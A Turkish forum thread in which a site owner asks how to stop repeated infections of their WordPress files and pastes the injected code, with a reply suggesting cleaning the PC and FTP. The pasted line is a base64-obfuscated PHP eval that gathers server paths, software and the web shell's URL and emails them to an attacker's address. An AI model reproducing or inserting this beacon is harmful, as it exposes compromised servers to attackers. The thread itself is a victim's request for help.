Valla Bıktım bu iframe midir ne haltsa neredeyse 2günde bi dosyaları yeniliyorum yine bulaşmış nereden bulaşıyor ne ediyor her zaman dosyaları yenilediğimde ftp mysql ve site şifrelerimi değiştiriyorum index.php lerin hepsinin cmd ayarlarını 444 yapıyorum mozilla ve explorer geçmişi siliyorum ahada sonuç bugün yine virüs var uyarısı alıyorum sitemden AVG Sakıncalı diyor kendi sitem için
www.megaadmin.com sitem bu
Pc de virüs var ama net32 avg algılamıyor az önce yeni download ettiğim son sürüm wordpress' pcimdeyken saniyeler içerisinde aşağıdaki kod bulaştı nasıl kurtulurum bu virüsden hangi programı önerirsiniz
<?php eval("?>".base64_decode("PD9waHANCiRraW1lPSJjZWtlcjc3NUBnbWFpbC5jb20iOw0KJGJhc2xpaz0iRUxfTXVIYU1NZUQgU2VydmVyIEF2Y2lzaSBWMS4wIjsNCiRFTF9NdUhhTU1lRD0iRG9zeWEgWW9sdSA6ICIuJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXS4icm4iOw0KJEVMX011SGFNTWVELj0iU2VydmVyIEFkbWluIDogIi4kX1NFUlZFUlsnU0VSVkVSX0FETUlOJ10uInJuIjsNCiRFTF9NdUhhTU1lRC49IlNlcnZlciBpc2xldGltIHNpc3RlbWkgOiAiLiRfU0VSVkVSWydTRVJWRVJfU09GVFdBUkUnXS4icm4iOw0KJEVMX011SGFNTWVELj0iU2hlbGwgTGluayA6IGh0dHA6Ly8iLiRfU0VSVkVSWydTRVJWRVJfTkFNRSddLiRfU0VSVkVSWydQSFBfU0VMRiddLiJybiI7DQokRUxfTXVIYU1NZUQuPSJBdmxhbmFuIFNpdGUgOiAiIC4kX1NFUlZFUlsnSFRUUF9IT1NUJ10uInJuIjsNCm1haWwoJGtpbWUsICRiYXNsaWssICRFTF9NdUhhTU1lRCk7DQo/Pg==")); ?>
Benimde zamanında çok başım ağrımıştı bu iframe yüzünden. Öncelikle sisteminizde yani bilgisayarınızda bulunuyordur virüs. Önce pc nizi sonra ftp nizi temizlemeniz gerekiyor. Yoksa kurtulamazsınız. Forumdaki bir kaç kaynak yazılar şunlar:
Buradaki benim konum ve bir çok alternatif yöntem önerilmiş. Diğer kaynaklar:
Kaynak 1 Kaynak 2